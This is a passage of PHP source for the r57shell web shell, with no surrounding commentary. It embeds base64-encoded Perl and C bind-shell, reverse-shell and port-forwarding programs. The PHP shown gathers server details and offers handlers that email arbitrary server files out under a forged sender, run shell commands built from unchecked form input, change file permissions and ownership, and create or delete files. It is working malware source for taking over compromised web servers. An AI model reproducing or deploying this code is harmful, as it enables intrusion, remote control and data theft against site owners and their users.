  1328. lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
  1329. $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
  1330. VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
  1331. JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
  1332. TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
  1333. lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
  1334. Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
  1335. Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
  1336. lIENPTk47DQpleGl0IDA7DQp9DQp9";
  1337. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  1338. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  1339. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  1340. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  1341. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  1342. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  1343. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1344. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
  1345. BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
  1346. SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
  1347. KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
  1348. sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
  1349. Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
  1350. QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
  1351. Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1352. $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
  1353. x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
  1354. HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
  1355. aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
  1356. lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
  1357. xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
  1358. W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
  1359. LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
  1360. udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
  1361. 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
  1362. iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
  1363. KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
  1364. gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
  1365. hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
  1366. iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
  1367. ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
  1368. vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
  1369. AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
  1370. QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
  1371. ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
  1372. gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
  1373. wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
  1374. 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
  1375. MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
  1376. gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
  1377. 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
  1378. HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
  1379. dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
  1380. KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
  1381. ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
  1382. E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
  1383. Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
  1384. NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
  1385. J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
  1386. CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
  1387. dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
  1388. gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
  1389. lsZSk7DQogIHJldHVybiAwOw0KfQ==";
  1390. $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
  1391. CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
  1392. bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
  1393. gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
  1394. NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
  1395. iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
  1396. aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
  1397. SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
  1398. xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
  1399. WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
  1400. CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
  1401. yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
  1402. I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
  1403. m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
  1404. IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
  1405. lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
  1406. QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
  1407. CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
  1408. c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
  1409. NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
  1410. UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
  1411. DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
  1412. ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
  1413. 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
  1414. $c1 = "A";
  1415. $c2 = "A";
  1416. echo $head;
  1417. echo '</head>';
  1418. if(empty($_POST['cmd'])) {
  1419. $serv = array(127,192,172,10);
  1420. $addr=@explode('.', $_SERVER['SERVER_ADDR']);
  1421. $current_version = str_replace('.','',$version);
  1422. if (!in_array($addr[0], $serv)) {
  1423. @print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
  1424. @readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}}  
  1425. echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  1426. <tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp;
  1427. <font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b>
  1428. </font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';
  1429. echo ws(2);
  1430. echo "<b>".date ("d-m-Y H:i:s")."</b>";
  1431. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
  1432. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
  1433. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
  1434. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
  1435. if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; }
  1436. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
  1437. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
  1438. echo ws(2);
  1439. echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>"));
  1440. echo ws(2);
  1441. echo "PHP version: <b>".@phpversion()."</b>";
  1442. $curl_on = @function_exists('curl_version');
  1443. echo ws(2);
  1444. echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>"));
  1445. echo ws(2);
  1446. echo "MySQL: <b>";
  1447. $mysql_on = @function_exists('mysql_connect');
  1448. if($mysql_on){
  1449. echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; }
  1450. echo ws(2);
  1451. echo "MSSQL: <b>";
  1452. $mssql_on = @function_exists('mssql_connect');
  1453. if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
  1454. echo ws(2);
  1455. echo "PostgreSQL: <b>";
  1456. $pg_on = @function_exists('pg_connect');
  1457. if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
  1458. echo ws(2);
  1459. echo "Oracle: <b>";
  1460. $ora_on = @function_exists('ocilogon');
  1461. if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
  1462. echo "<br>".ws(2);
  1463. echo "Disable functions : <b>";
  1464. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
  1465. $free = @diskfreespace($dir);
  1466. if (!$free) {$free = 0;}
  1467. $all = @disk_total_space($dir);
  1468. if (!$all) {$all = 0;}
  1469. $used = $all-$free;
  1470. $used_percent = @round(100/($all/$free),2);
  1471. echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>";
  1472. echo '</font></td></tr><table>
  1473. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  1474. <tr><td align=right width=100>';
  1475. echo $font;
  1476. if(!$windows){
  1477. echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1478. echo "</td><td>";
  1479. echo "<font face=Verdana size=-2 color=red><b>";
  1480. $uname = ex('uname -a');
  1481. echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
  1482. if(!$safe_mode){
  1483. $bsd1 = ex('sysctl -n kern.ostype');
  1484. $bsd2 = ex('sysctl -n kern.osrelease');
  1485. $lin1 = ex('sysctl -n kernel.ostype');
  1486. $lin2 = ex('sysctl -n kernel.osrelease');
  1487. }
  1488. if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
  1489. else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
  1490. else { $sysctl = "-"; }
  1491. echo ws(3).$sysctl."<br>";
  1492. echo ws(3).ex('echo $OSTYPE')."<br>";
  1493. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1494. $id = ex('id');
  1495. echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"));
  1496. echo ws(3).$dir;
  1497. echo ws(3).'( '.perms(@fileperms($dir)).' )';
  1498. echo "</b></font>";
  1499. }
  1500. else
  1501. {
  1502. echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1503. echo "</td><td>";
  1504. echo "<font face=Verdana size=-2 color=red><b>";
  1505. echo ws(3).@substr(@php_uname(),0,120)."<br>";
  1506. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1507. echo ws(3).@get_current_user()."<br>";
  1508. echo ws(3).$dir;
  1509. echo "<br></font>";
  1510. }
  1511. echo "</font>";
  1512. echo "</td></tr></table>";
  1513. if(empty($c1)||empty($c2)) { die(); }
  1514. $f = '<br>';
  1515. $f .= base64_decode($c1);
  1516. $f .= base64_decode($c2);
  1517. if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail")
  1518.  {
  1519.  $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n");
  1520.  mr($language,$res);
  1521.  $_POST['cmd']="";  
  1522.  }
  1523. if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
  1524.  {  
  1525.  if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; }
  1526.  else
  1527.   {    
  1528.     $filename = @basename($_POST['loc_file']);
  1529.     $filedump = @fread($file,@filesize($_POST['loc_file']));
  1530.     fclose($file);
  1531.     $content_encoding=$mime_type='';
  1532.     compress($filename,$filedump,$_POST['compress']);
  1533.     $attach = array(
  1534.                     "name"=>$filename,
  1535.                     "type"=>$mime_type,
  1536.                     "content"=>$filedump
  1537.                    );
  1538.     if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
  1539.     if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
  1540.     $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
  1541.     mr($language,$res);
  1542.     $_POST['cmd']="";                          
  1543.   }
  1544.  }
  1545. if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
  1546. {
  1547. $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
  1548. }
  1549. if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
  1550.  {
  1551.  switch($_POST['what'])
  1552.    {
  1553.    case 'own':
  1554.    @chown($_POST['param1'],$_POST['param2']);
  1555.    break;
  1556.    case 'grp':
  1557.    @chgrp($_POST['param1'],$_POST['param2']);
  1558.    break;
  1559.    case 'mod':
  1560.    @chmod($_POST['param1'],intval($_POST['param2'], 8));
  1561.    break;
  1562.    }
  1563.  $_POST['cmd']="";
  1564.  }
  1565. if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
  1566.  {
  1567.    switch($_POST['what'])
  1568.    {
  1569.      case 'file':
  1570.       if($_POST['action'] == "create")
  1571.        {
  1572.        if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
  1573.        else {
  1574.         fclose($file);
  1575.         $_POST['e_name'] = $_POST['mk_name'];
  1576.         $_POST['cmd']="edit_file";
  1577.         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
  1578.         }
  1579.        }
  1580.        else if($_POST['action'] == "delete")
  1581.        {
  1582.        if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
  1583.        $_POST['cmd']="";
  1584.        }
  1585.      break;
  1586.      case 'dir':
  1587.       if($_POST['action'] == "create"){
  1588.       if(mkdir($_POST['mk_name']))
  1589.        {
  1590.          $_POST['cmd']="";
  1591.          echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
  1592.        }
  1593.       else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
  1594.       }
  1595.       else if($_POST['action'] == "delete"){
  1596.       if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
  1597.       $_POST['cmd']="";
  1598.       }
  1599.      break;
  1600.    }
  1601.  }
  1602. if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
  1603.  {
  1604.  if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
  1605.  if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; }
  1606.  else {
  1607.  echo $table_up3;
  1608.  echo $font;
  1609.  echo "<form name=save_file method=post>";
  1610.  echo ws(3)."<b>".$_POST['e_name']."</b>";
  1611.  echo "<div align=center><textarea name=e_text cols=121 rows=24>";
  1612.  echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
  1613.  fclose($file);
  1614.  echo "</textarea>";
